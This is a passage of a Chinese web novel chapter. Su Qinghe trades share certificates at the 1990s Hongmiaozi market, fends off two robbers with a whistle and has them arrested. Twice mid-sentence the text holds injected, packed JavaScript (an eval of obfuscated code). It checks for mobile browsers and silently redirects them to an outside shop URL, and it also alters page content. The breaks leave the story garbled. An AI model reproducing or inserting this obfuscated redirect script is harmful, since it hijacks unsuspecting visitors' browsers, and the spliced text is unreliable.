倒爷愣了一下,显然没料到这个年轻姑娘出的价会这么让人难受。他习惯性地想要抬价,但看到苏青禾那副“就这个价,不卖拉倒”的神情,犹豫了一下。 毕竟这批股权这在他手里积压已久,问的人越来越少,他都做好折手里的准备了,现在能换成现钱总是好的。 倒也故作不情愿地嘟囔了一句:“再加点,你这个价我裤子都亏掉了。” 苏青禾摇了摇头就准备转身:“我再看看别家。” 倒爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时间一分一秒过去,离她为自己设定的止损线越来越近。苏青禾没有慌乱,她强迫自己跳出固定的分析师思维,像一个纯粹的投机者一样重新审视市场。 苏青禾发现,尽管有负面消息,但市第二印刷厂的下跌势头并不强,成交量极度萎缩。这证明真正的持有者并未恐慌,市场的冷漠更多是因为缺乏有卖点的故事,而非真正的利空。自己手上的票缺的不是价值,而是一个能引爆情绪的故事。 就在观察期即将结束的前一刻,市场风向突变!不知从哪个角落爆出消息:“有文化公司要借市第二印刷厂的壳!”这个比收购更契合印刷业务、更具想象空间的故事,瞬间点燃了投机者的神经。 人群开始骚动,向这个新的热点涌来。 苏青禾的心脏微微加速,但大脑异常清醒。她没有沉浸在暴涨的喜悦中,而是敏锐地观察到,虽然报价还在上涨,但实际成交开始变得滞涩,接手的力量在减弱。 “卖吗?小妹,现在卖你能赚不少。”旁边有人看到苏青禾之前买了印刷厂的票。 苏青禾没有理会,她在心中快速计算着涨幅和风险比。 “市第二印刷厂9.8,100股,有没有人要?”苏青禾报出一个比当前最高报价略低,但足以保证快速成交的价格,几乎在她话音落下的瞬间,就有人应价。 点钞,交券,动作干净利落。 苏青禾将厚了一叠的现金稳稳揣进内兜,没有停留,迅速走出了红庙子街。 挤出巷子,身后阳光依旧,喧嚣依旧,苏青禾握着口袋里从5700元变成近10000元的现金,感受到的不是喜悦,这毫无美感的胜利,像一盆冷水,浇醒了她潜意识里的那点专业优越感。 苏青禾知道自己这一次赢的不是智力,更多的是对市场的敬畏和几分运气。这也让她彻底明白,在红庙子,她前世的光环作用有限,她必须真正以一个小散的心态,敬畏市场,才能活下去。 14. 第 14 章 第一次交易的成功和资金的翻倍,并未让苏青禾产生任何不切实际的幻想。她比任何人都清楚,所谓的成功,侥幸的成分太重了。 接下来的几天,苏青禾的行动依然高度理性。她并不像其他人一样一整天都泡在红庙子,恨不得吃饭上厕所的时间都省掉,就怕错过不知道何时会到来的机会。 苏青禾会间歇性离开红庙子,去逛书店去逛荷花池去逛春熙路,这是一种主动的风险管理和神经休整,以确保绝对的判断力。她的操作策略始终如一,寻找风险收益比不对称的机会,严格限制单次投入,有赚有赔是常态,她的利润不是一种暴增的状态而是逐步累积。 但是,即便如此,原始的风险依旧降临了。 苏青禾刚在一个摊位前停下,目光扫过几张无人问津的股权证,试图判断其价值。突然,两个身影一左一右,看似不经意地堵住了她侧后的退路,将她与相对热闹的主干道隔开,逼到了摊位与墙壁形成的狭窄夹角里。摊主一看这架势,立马把小板凳一收,拿着纸板就躲开了。 苏青禾被两人堵到角落里,市场的喧嚣让大多数人都注意到这个角落的异常,邻近的摊主看到了,也选择躲得远远的,显然这样的事情并不是第一次见。 左边那个穿着汗衫的男人,个子不高但很壮实,咧开嘴,露出一口被烟熏得发黄的板牙,皮笑肉不笑地低声道:“小妹,一个人看啥呢?这地方乱,哥带你找个清静地方,好好给你讲讲行情?”他的眼神在苏青禾刻意遮掩却仍显清秀的脸上和鼓囊囊的挎包上来回扫视,目光粘腻而贪婪,带着掂量货物般的审视。 汗衫男飞快地递了个眼色给右边的男人,嘴角朝苏青禾的挎包努了努,低声快速地嘀咕了一句:“肥羊…单独一个,水灵…” 高个男狞笑着点点头,看向苏青禾的眼神更加直接,里面是毫不掩饰的贪婪和下流。 两个男人往前逼近半步,苏青禾已经能闻到他们身上的汗臭和烟味。 高个男人声音压得很低,眼神恶狠狠的威胁道:“听见没?把包拿过来,让哥哥们帮你看看。要不,咱换个地方聊聊?”他的手作势就要抓向苏青禾的挎包,另一只手更是准备扣住苏青禾的手腕。 就在高个男人伸手的瞬间,苏青禾瞬间寒毛倒竖,肾上腺素在刹那间飙升,但极度危险反而让她的大脑异常清醒和冰冷,绝不能让他们把自己带离人多的地方。 几乎在对方伸手的同时,苏青禾猛地将挎包紧紧抱在胸前,身体同时向后紧贴墙壁,利用这个动作最大限度地避开对方的触碰。同时迅速的从口袋里掏出了一只亮黄色的金属哨子。毫不犹豫地将哨子塞进口中,鼓起胸腔,用尽全身力气猛地一吹! “咻——!” 一声极其尖锐、刺耳的哨音,瞬间划破了周遭嗡嗡作响的嘈杂声浪。这绝非正常市场该有的声音,立刻吸引人群下意识地张望。哨子是苏青禾来红庙子之前就备好的,几毛钱的东西,关键时刻却起了大作用。 两个男人被这突如其来的、高分贝的噪音打了个措手不及,脸上同时闪过惊愕与恼怒。他们千算万算,也没算到苏青禾会有这么一手。 “妈的!你……”穿汗衫的男人眼神凶狠,抬手就要往苏青禾脸上招呼,但立刻感觉到几十道目光落在了他们身上。 就在这短暂的混乱和注意力被吸引的间隙,苏青禾将挎包往怀里一按,猛地从高个男人身侧的空隙中钻了出去,瞬间汇入了汹涌的人潮。 两人似乎认定了苏青禾,很快就在人群里发现的苏青禾,这次没有着急的堵人,只是不远不近的缀着,像两头准备伺机而动的狼。 苏青禾没有选择在红庙子打转,直接沿着大路疾走,她的目标很明确,那就是锣锅巷的派出所,今天必须把这两人送进去,因为自己已经被盯上了,这两人只要没进派出所她后面的安全都没有保障。 转到锣锅巷苏青禾突然加速,直接跑进了派出所的值班室。 “公安同志,”她开口,声音带着喘息,“后面有两个人,要抢我钱。”苏青禾边说边侧身,示意了一下来路的方向。 中年民警脸色一肃,立刻起身招呼另一人往外冲,正看见街角两个鬼祟身影,当即喝道:“站住!”那两人扭头就跑。年轻民警快步追上,将人扑倒,中年民警配合着给两人扣上手铐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372600|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 民警回到值班室,面对苏青禾语气缓了些:“没事了,人已经控制住。” “这边需要给你做个笔录。”民警示意苏青禾坐下,自己拉过椅子坐到对面。 “好。”苏青禾点头坐下,才发现自己整个后背都湿透了。 民警翻开笔录本,“姓名?”、 “苏青禾。” …… 苏青禾配合着做完了笔录,把刚刚在红庙子发生的事情详细的讲了一遍。 民警仔细看了看苏青禾的身份证,语气严肃地说道:“别一个人往红庙子去。那地方乱,三教九流都有,我们不干涉正常买卖,但容易惹是非。你一个年轻姑娘,更要小心。” “谢谢同志,我记住了。”苏青禾低头,“我住前面的红星招待所,后面会注意。” 民警把身份证递还,又推过笔录本:“在这儿签个名,留个地址备案。有事随时来找我们。” 苏青禾写下了自己的名字和家庭地址。民警收好本子,叮嘱:“可以了,注意安全。” “好的,谢谢公安同志。”苏青禾道谢离开。 走出派出所,回到招待所房间,苏青禾一直紧绷的后背才终于松了下来,放松下来后一阵冰冷的后怕缓缓蔓延开来。 苏青禾意识到,自己之前的风险评估存在一个巨大的盲区。她计算了市场风险、政策风险,但却完全低估了这个时代的社会治安风险。她来自一个摄像头遍布、出警迅速的时代,而九十年代初的这里,规则模糊,警力有限,人性的恶在巨大的利益面前更容易毫无顾忌地显露獠牙。 这次遭遇没有让苏青禾恐惧退缩,只是让她的行动更加谨慎、高效。她将单次交易金额压得更低,停留时间更短,目标达成迅速离开。在苏青禾这样的操作下手里的资金在缓慢地、螺旋式地爬升:10000…13000…15000…14000…17000 时间过去近半个月。在一个平常的下午,苏青禾完成了最后一笔计划内的小额交易。资金总额达到了两万元的目标线。 没有激动,苏青禾去银行存好钱。立刻离开了招待所,没有丝毫留恋。